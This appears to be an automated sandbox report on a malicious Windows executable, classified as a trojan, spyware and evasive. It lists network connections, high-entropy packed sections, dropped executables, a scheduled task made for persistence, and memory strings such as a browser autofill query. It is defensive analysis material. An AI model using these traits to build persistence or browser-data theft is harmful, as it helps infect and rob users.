Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.18:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50124 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name:
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C56B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C56B700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C56B8C0 rand_s,NtQueryVirtualMemory,	1_2_6C56B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C56B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6C56B910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6C50F280

Source: C:\Users\user\DocumentsJDAFIEHIEG.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5035A0	1_2_6C5035A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C57545C	1_2_6C57545C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C515440	1_2_6C515440
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C545C10	1_2_6C545C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C552C10	1_2_6C552C10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C57AC00	1_2_6C57AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C57542B	1_2_6C57542B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C52D4D0	1_2_6C52D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5164C0	1_2_6C5164C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C546CF0	1_2_6C546CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50D4E0	1_2_6C50D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C516C80	1_2_6C516C80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5634A0	1_2_6C5634A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C56C4A0	1_2_6C56C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C530512	1_2_6C530512
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C52ED10	1_2_6C52ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C51FD00	1_2_6C51FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C540DD0	1_2_6C540DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5685F0	1_2_6C5685F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C529E50	1_2_6C529E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C543E50	1_2_6C543E50
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C524640	1_2_6C524640
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C552E4E	1_2_6C552E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50C670	1_2_6C50C670
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C576E63	1_2_6C576E63
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C547E10	1_2_6C547E10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C555600	1_2_6C555600
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C569E30	1_2_6C569E30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50BEF0	1_2_6C50BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C51FEF0	1_2_6C51FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5776E3	1_2_6C5776E3
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C525E90	1_2_6C525E90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C56E680	1_2_6C56E680
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C564EA0	1_2_6C564EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C547710	1_2_6C547710
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C519F00	1_2_6C519F00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C536FF0	1_2_6C536FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50DFE0	1_2_6C50DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5577A0	1_2_6C5577A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C528850	1_2_6C528850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C52D850	1_2_6C52D850
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C54F070	1_2_6C54F070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C517810	1_2_6C517810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C54B820	1_2_6C54B820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C554820	1_2_6C554820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5750C7	1_2_6C5750C7
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C52C0E0	1_2_6C52C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5458E0	1_2_6C5458E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5360A0	1_2_6C5360A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C52A940	1_2_6C52A940
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C55B970	1_2_6C55B970
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C57B170	1_2_6C57B170
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C51D960	1_2_6C51D960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C545190	1_2_6C545190
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C562990	1_2_6C562990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C53D9B0	1_2_6C53D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50C9A0	1_2_6C50C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C549A60	1_2_6C549A60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C548AC0	1_2_6C548AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C521AF0	1_2_6C521AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C54E2F0	1_2_6C54E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C57BA90	1_2_6C57BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C51CAB0	1_2_6C51CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C572AB0	1_2_6C572AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5022A0	1_2_6C5022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C534AA0	1_2_6C534AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C505340	1_2_6C505340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C51C370	1_2_6C51C370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C54D320	1_2_6C54D320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C5753C8	1_2_6C5753C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6C50F380	1_2_6C50F380
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F378BB	23_2_00F378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F38860	23_2_00F38860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F37049	23_2_00F37049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00EF4DE0	23_2_00EF4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F331A8	23_2_00F331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00EFE530	23_2_00EFE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F32D10	23_2_00F32D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F3779B	23_2_00F3779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00F27F36	23_2_00F27F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00EF4B30	23_2_00EF4B30

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C53CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5494D0 appears 90 times

Source: file.exe, 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2731693418.000000006C785000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000001.00000002.2725942988.0000000023E0C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: qrmcidjs ZLIB complexity 0.9946154178176796
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: DocumentsJDAFIEHIEG.exe.1.dr	Static PE information: Section: xkdkavkl ZLIB complexity 0.9947787387527148
Source: random[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: random[1].exe.1.dr	Static PE information: Section: xkdkavkl ZLIB complexity 0.9947787387527148
Source: skotes.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9980681624659401
Source: skotes.exe.20.dr	Static PE information: Section: xkdkavkl ZLIB complexity 0.9947787387527148

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/293@26/25

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C567030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C567030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LCIQ7M0B.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8420:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\cff88a93-c52a-408e-9e24-85d849c8477d.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.2700544115.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill1Z;
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.2722567425.000000001DCB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2730387540.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2731452590.000000006C73F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
